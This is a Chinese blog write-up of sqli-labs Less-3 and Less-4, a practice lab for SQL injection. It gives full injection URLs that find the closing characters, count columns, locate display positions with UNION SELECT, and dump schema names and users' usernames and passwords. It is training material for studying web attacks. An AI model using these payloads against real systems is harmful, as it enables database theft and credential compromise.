当前位置:网站首页>sqli-labs less3/4打靶笔记
sqli-labs less3/4打靶笔记
2022-07-30 05:41:00 【24242424242424242424】
文章目录
一、less 3
1.判断闭合字符
http://192.168.1.24:83/Less-3/?id=1'
#报错信息use near ''1'') LIMIT 0,1' at line 1

http://192.168.1.24:83/Less-3/?id=1' and 1=1 -- =
#报错

?id=1 and 1=1 -- =
?id=1" and 1=1 -- =
#均不报错
?id=1 and 1=2 -- =
?id=1' and 1=2 -- =
?id=1" and 1=2 -- =
#都显示正常,只能尝试其他字符
http://192.168.1.24:83/Less-3/?id=1') and 1=2 -- =
#最后发现id=1') and 1=2 -- =
#显示异常
http://192.168.1.24:83/Less-3/?id=1') and 1=1 -- =
#显示正常

由此可初步判断为单引号变形字符型注入。
2.判断字段数
http://172.168.30.176/Less-3/?id=1') order by 3 -- =
#有回显
http://172.168.30.176/Less-3/?id=1') order by 4 -- =
#报错


由此可判断列数为3列。
3.结合union查看显示位
http://192.168.1.24:83/Less-3/?id=1111') union select 1,2,3 -- =

可以得出显示位为2、3位。
4.使用database()函数爆库名
http://192.168.1.24:83/Less-3/?id=1111') union select 1,2,database() -- =

5.爆出security库的表名。
http://192.168.1.24:83/Less-3/?id=1111') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- =

6.爆出security库中users表的列名。
http://192.168.1.24:83/Less-3/?id=1111') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'-- =

7.爆出users表的username、password的数据。
http://192.168.1.24:83/Less-3/?id=1111') union select 1,2,group_concat(concat_ws('--',username,password)) from security.users -- =

二、less 4
1.判断闭合字符
http://172.168.30.176/Less-4/?id=1'
#正常,且有回显
http://172.168.30.176/Less-4/?id=1"
#报错信息use near ''1'') LIMIT 0,1' at line 1
http://172.168.30.176/Less-4/?id=1") and 1=1 -- =
#正常
http://172.168.30.176/Less-4/?id=1") and 1=2 -- =
#异常
由此可判断为括号双引号字符型注入。
2.判断字段数
http://172.168.30.176/Less-4/?id=1") order by 3-- = #没有报错
http://172.168.30.176/Less-4/?id=1") order by 4-- = #报错
由此可见查询字段数为3。
3.查询显示位(与less 3一致)
4.爆库名。
http://192.168.1.24:83/Less-3/?id=1111") union select 1,2,database() -- =
5.爆表名。
http://192.168.1.24:83/Less-3/?id=1111") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- =
6.爆列名。
http://192.168.1.24:83/Less-3/?id=1111") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- =
7.爆user表敏感数据。
http://192.168.1.24:83/Less-3/?id=1111") union select 1,2,group_concat(concat_ws('--',username,password)) from security.users -- =

总结
SQL注入的步骤如下:
如上所述,SQL注入一般为以上7个步骤,首先判断是否存在注入点,然后判断查询的字段数,接着判断显示位,最后通过函数、information_schema的三张表依次爆出库名、表名、列名及具体的数据。
只要牢记这7个步骤,脱裤不是梦!!!
PS:
只有MySQL5.0及以上版本才自带有information_schema库。
三张表分别为:
table_schema(存放库名)
table_name(存放表名)
column_name(存放列名)
主要用到的语句:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查数据:select username,password from security.users
边栏推荐
- MySQL database basics (a systematic introduction)
- div设置一个最小高度和最大高度,但是中间可以靠内容撑开
- 函数解剖——深挖getchar()与putchar()
- 【C语言】三子棋(井字棋)的实现
- 目前主流浏览器以及对应的内核
- MySQL 安装报错的解决方法
- 50道SQL练习题(刷完直接进大厂)
- 【文献阅读】Age Progress/Regression by Conditional Adversarial Autoencoder 基于条件对抗自编码器(CAAE)的老化/去龄化方案
- SRA数据下载方法总结
- Qt在QTableWidget、View等表格中添加右击菜单
猜你喜欢
随机推荐
argparse —— 命令行选项、参数和子命令解析器
社区版idea 最右侧没有Database怎么办
pycharm专业版 配置pytest
uni-app:关于自定义组件、easycom规范、uni_modules等问题
MySQL user authorization
【C语言】三子棋(井字棋)的实现
This dependency was not found:
C语言人机大战之三字棋博弈
646.最长数对链(动态规划)
C语言入门(前期准备工作)——超级详细的建议和教学,带你顺利跨越编程门槛
cJSON开源项目详细解剖
Redis简单了解
配环境 / 初步测试
js基础 判断数据类型
5.5线程池
js 实现自定义签名
最新Redistemplate配置及使用,附带操作工具类,测试类
复习 redux 总结
相对路径和绝对路径的区别
flask-socketio实现的网页聊天室(二)








